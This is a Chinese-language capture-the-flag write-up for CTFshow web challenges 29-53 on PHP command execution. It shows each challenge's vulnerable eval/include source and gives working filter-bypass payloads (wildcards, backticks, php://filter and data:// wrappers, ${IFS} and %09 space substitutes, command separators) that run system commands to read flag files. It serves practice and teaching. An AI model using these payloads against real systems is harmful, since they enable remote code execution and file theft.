CTFshow-web入门-命令执行
web29
源码为:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到过滤了flag字样
但我们可以通过通配符绕过flag,比如用fla?来表示flag
先用?c=system('ls');
来观察该目录下存在的文件,发现了flag.php
然后使用?c=system('cp fla?.php 1.txt');
将flag.php
的内容配对到1.txt
中
然后访问1.txt
即可得到flag
web30
打开页面查看源码:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
发现新过滤了system
以及php
这两个关键字
我们此时可以通过反引号```来代替system,继续利用通配符?
来配对php
字样
则payload
?c=`cp fla?.??? 1.txt`;
然后再访问1.txt
即可
web31
打开页面查看源代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
发现新过滤了cat,sort,shell,小数点,空格,单引号
等字样
我们可以通过eval嵌套执行get的第一个参数
payload:
?c=eval($_GET[1]);&1=system('cat flag.php');
这里payload使得1这个参数逃逸出来了,它不属于c,那么这些ban掉的字符对于1来说是无效的,对1来说没有什么过滤的地方了我们直接cat flag.php
即可
这里有一点就是执行之后页面是空白的,只有查看源代码才能发现flag
还有一种就是倒穴:将cat反过来就是tac,也就是反过来读,不用查看源代码即可读
payload:
?c=eval($_GET[1]);&1=system('tac flag.php');
这一题我们将c参数进行了一个跳板,让它执行另一个参数的值,那么另一个参数1,脱离了对这个c的正则判断,我们就可以执行任意被ban掉的字符
web32-web36
web32
打开页面,查看代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
发现新ban掉了反引号,echo, 分号,左括号
这些字符
空格被ban掉的话我们可以通过include
加上回车(%0a)将1
逃逸出来,并且php最后一条语句是可以用?>
来代替;
payload:
?c=include%0a$_GET[1]?>&1=flag.php
但我们这样直接访问是没有输出flag的值的,虽然已经包含成功,但是由于没有分号分割,造成无法输出
这样的话,我们可以通过文件包含来做
在hackbar中有一个文件包含的插件:
payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
因为这里1已经逃逸出来了,后面那一串就基本没有什么过滤了,这样访问flag.php可获得base64编码后的值
放入base64解码即可的到flag
这一题做法使用了文件包含的方法,来变相的读取任意文件
php://filter
是一个比过滤器,这里通过base64编码的一个过滤器来读取flag.php
这种过滤器也就是一种伪协议,通过一个指定的通道来读取某个文件或资源,filter/
表示的是指定的通道,base64-encode
表示这个通道的名字是base64
整体来说就是:我读到的资源先通过base64进行编码
想知道具体原理的可以看看这篇博客[【ctf】文件包含漏洞][9]
web33-35
过滤的字符没啥区别,payload和web33一样,执行即可拿到flag,具体原理请看web32
payload: ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
打开页面发现过滤了数字,那我们将之前payload的1改成a即可
payload: ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37-web39
web37
页面代码如下:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
与之前不同的是这里包含了一个c:include($c);
这题我们可以通过data伪协议读取
payload: ?c=data://text/plain,<?php system('tac fla?.php');?>
这个data协议是将后面的字符串当作php代码来执行,自然就通过执行system('tac fla?.php')
成功的获取到了flag
data://伪协议
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
web38
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
打开这题发现php被过滤了,但这题php代码这里可以使用php短标签进行绕过,flag.php这可继续用通配符?
绕过
payload:?c=data://text/plain,<?=system('tac fla?.???')?>
说明:‘<?=’是PHP的一个短的开放式标签,是echo的开放式用法。
web39
打开页面查看代码如下:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
在这不同的是include($c);
后面加了个.php
但在这我们可以使用上次的payload:
?c=data://text/plain,<?=system('tac fla?.php')?>
因为这里我们的php代码已经闭合,.php
就起不到执行的效果,只能被当作字符串输出
web40
打开页面查看代码:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/[0-9]|~|`|@|#|\$|%|^|&|*|\(|\)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i”, $c)){
eval($c);
}
}else{
highlight_file(FILE);
}
发现基本所有符号都被过滤了
大概只剩下了分号,下划线,以及英文括号
(观察很久才发现题目过滤的是中文括号)
先说一个打印当初路径下文件的函数:print_r(scandir('.'))
但是很明显单引号和小数点已经过滤了,这里要先办法绕过
最简单的方法是利用函数传参,那就找当前能用包含小数点的函数
还真有:localeconv()
返回一包含本地数字及货币格式信息的数组
那么按找接下来思路就是构造:print_r(scandir(localeconv()[0]))
但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
这里三个函数都可以用
因此打印当前目录:?c=print_r(scandir(pos(localeconv())));
从此目录发现了flag.php
这里可以的用next()
输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)
但是flag在第三个怎么办?可以用array_reverse函数
这个函数就是将数组转置;
所以payload:?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
可以到达flag.php这个目录,接下来我们查看他的代码即可得到flag
最终payload: ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
得到flag
web40另一种思路:
首先我们试着打印当前所有的变量,看看从变量里面能拿到什么东西
payload:?c=print_r(get_defined_vars());
发现了post变量的一个数组
那么我们可以给他post一个值:1=phpinfo();
发现成功将该字符串post了进去,那么我们该如何拿到这个字符串的值呢?
我们可以用一个对数组的操作:next
(next在web40前一种思路中提到过原理)
payload:?c=print_r(next(get_defined_vars()));
可以看到我们拿到了这一个数组
我们想要拿到他的一个数组值,则对这个数组进行一个弹出:array_pop()
然后再将该语句进行执行即可,将print_r改成eval函数执行
payload:?c=eval(array_pop(next(get_defined_vars())));
这样我们就成功执行了
那么拿flag也是这种思路
我们进行payload:
GET: ?c=eval(array_pop(next(get_defined_vars())));
POST: 1=system('tac flag.php');
因为在post端没有什么过滤,接着我们连接flag.php即可得到flag
web41
1 | if(isset($_POST['c'])){ |
利用函数:echo
绕过思路:把数字和字母都给过滤了,这里的思路是构造system(“ls”),但是字母被过滤。没有过滤“|”,利用它构造。
Payload1: 脚本参考yu师傅
web42
1 | if(isset($_GET['c'])){ |
利用函数:system()
绕过思路:这里是通过>/dev/null 2>&1
把输出的内容不进行回显,相当于一个“黑洞”,我们通过“;”进行截断,回显出flag.
Payload1: ls;
Payload2: tac flag.php;
web43
1 | if(isset($_GET['c'])){ |
和上一题类似,看到这里分号被过滤可以通过命令分隔符进行截断:||
&&
这两个可以进行截断,但需要注意的是&&需要进行url编码,这样才能成功执行
payload:tac flag.php||
or tac flag.php%26%26
web44
1 | if(isset($_GET['c'])){ |
新过滤了flag字符,利用通配符绕过即可
payload:tac fla?.php||
web45
1 | if(isset($_GET['c'])){ |
多过滤了空格符号,利用%09代替空格即可
payload:tac%09fla?.php||
web46
1 | if(isset($_GET['c'])){ |
多过滤了数字,但对我们上一题的payload没有什么影响,可以继续使用%09代替空格,因为%09是编码,浏览器对他自动解码为一个水平制表符,而不是为数字,所以这里可以沿用上一题的payload
payload:tac%09fla?.php||
web47
1 | if(isset($_GET['c'])){ |
新过滤的东西对上一题payload没什么影响,继续沿用
payload:tac%09fla?.php||
web48
1 | if(isset($_GET['c'])){ |
继续沿用上一题的payload:tac%09fla?.php||
web49
1 | if(isset($_GET['c'])){ |
继续沿用上一题的payload:tac%09fla?.php||
web50
1 | if(isset($_GET['c'])){ |
%09
被过滤了,使用重定向符<>代替空格,但是<>后面不能跟有通配符,我们通过反斜杠\
来绕过过滤的flag
payload:tac<>fla\g.php||
web51
1 | if(isset($_GET['c'])){ |
新增tac
被过滤了,使用反斜杠\
绕过,或者利用nl
替代tac
nl 命令读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。
payload:ta\c<>fla\g.php||
or nl<>fla\g.php||
web52
重定向符被过滤,使用${IFS}
代替空格,多种绕过方式详见:CTF命令执行与绕过
构造:ta\c${IFS}fla\g.php||
回显页面:
payload:ta\c${IFS}../../../fla\g||
获取flag
web53
1 | if(isset($_GET['c'])){ |
/dev/null 2>&1
已经没了,那就不需要||
进行截断
payload:ta\c${IFS}fla\g.php